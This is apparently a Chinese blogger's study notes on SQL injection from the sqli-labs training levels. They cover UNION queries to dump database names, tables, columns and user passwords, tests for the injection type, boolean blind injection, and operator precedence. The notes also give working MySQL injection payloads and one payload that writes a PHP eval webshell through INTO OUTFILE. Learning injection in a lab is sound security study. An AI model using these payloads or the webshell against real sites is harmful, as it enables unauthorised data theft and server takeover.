1. 程式人生 > >sql注入小結

sql注入小結

  才學了sql注入沒多久,就忘得乾乾淨淨了,也是佩服我自己。想學太多東西了,欲速則不達啊。還是老老實實記錄些東西吧,學的時候得認真不然再回頭看的時候真的是啥都不會。

常用語句

先來總結下做sqli-labs常用得語句吧。(以三個欄位為例)

查基本資訊:id=xx' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())--+

查表:id=xx' union select 1,2,group_concat(char(32),table_name,char(32)) from information_schema.tables where table_schema='xxx'--+

查列:id=xx' union select 1,2,group_concat(char(32),column_name,char(32)) from information_schema.columns where talbe_schema='xxx' and table_name='xxx'--+

查資料:id=xx' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

部分總結

1、limit

limit是mysql的語法select * from table limit m,n。

其中m是指記錄開始的index,從0開始,表示第一條是指從第m+1條開始,取n條

select * from tablename limit 2,4即取出第3條至第6條,4條記錄。

2、小結

做第12關的時候,我輸入uname=admin'&passwd=admin與uname=admin&passwd=admin'頁面返回一樣。

但是輸入uname=admin“&passwd=admin,報錯資訊為:check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1

而輸入uname=admin“&passwd=admin”報錯資訊卻為:check the manual that corresponds to your MySQL server version for the right syntax to use near '"admin"") LIMIT 0,1' at line 1

這讓我當時疑惑了好久,後來看了下查詢語句再想想就好像懂些了。

先看一下查詢語句:$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

而從報錯資訊xxx limit 0,1來看說明他報錯的時候應該是讀取的最後的資訊,所以在查詢的時候最好在password裡輸入查詢語句。

3、絕對路徑&相對路徑

絕對路徑:從碟符開始的路徑,形如C:\windows\system32\cmd.exe

相對路徑:從當前路徑開始的路徑,假如當前路徑為C:\windows。要描述上述路徑只需輸入system32\cme.exe。實際上,嚴格的相對路徑寫法應該為.\system32\cmd.exe。其中,.表示當前路徑,在通道情況下可以省略,只有在特殊情況下不能省略。

4、關於找WWW目錄絕對路徑

在一篇文章中見到類似的,不確定能不能用。就是通過phpinfo()函式。

然後就可以id=xx union select 1,<?php @eval($_POST["flag"]);?> into outfile '/var/www/html/wordpress/test/xx.php'寫入一句話木馬。

5、POST判斷漏洞型別

果然,念念不忘必有迴響。苦心搜求判斷漏洞型別的方法,今天終於找到了。

通過

uname=1&passwd=1 or 1=1--+
uname=1&passwd=1' or 1=1--+
uname=1&passwd=1" or 1=1--+
uname=1&passwd=1') or 1=1--+
uname=1&passwd=1") or 1=1--+

的方式來判斷注入型別。

在做第15關的時候,用uname=1&passwd=1' or 1=1# ,頁面竟然返回正常,著實驚喜了一番。我們來分析一下,為什麼會這樣。執行的sql語句是$sql="SELECT username, password FROM users WHERE username='1' and password=' 1' or 1=1#' LIMIT 0,1";這時,我們可以大膽的猜測先執行and語句判斷or的前半句為假,然後or的後半句為真,所以結果返回真,故登入成功。去百度一波驗證一下。

查到的一個例證:

select * from user where id in (1,2,3) and hobbies like '%Fishing%' or hobbies like '%Running%';

這個語句,你以為它的意思是找一個id為1,2,3中的一個並且喜歡釣魚或者跑步的人嗎。並不是,它的實際執行是這樣的:

select * from user where (id in (1,2,3) and hobbies like '%Fishing%') or (hobbies like '%Running%');

也就是說,SQL直譯器把where子句以or運算子為界限分開了,所以搜尋到的實際上是一個喜歡跑步的人或者id是1,2,3中的一個並且喜歡釣魚的人。

總結:sql語句中的執行順序是not>and>or的,切記切記。

6、BOOL盲注

這裡還是拿15關為例,盲注語句:uname=' or (length(database()))>2#&passwd='  or 1=1#

或者uname=' or (ascii(substr((select database()),1,1)))=115#&passwd='  or 1=1#來判斷

自己測試了一下16關,當然也是能用的,然後自己想了一種新的方法。

uname=1&passwd=1") or  (length(database()))=8#這樣只要or後面的語句是正確的頁面也會返回正常,自我感覺這種方法也不錯,哈哈哈。其實我覺得能從最後面的引數修改的話最好從後面這樣理解起來簡單些。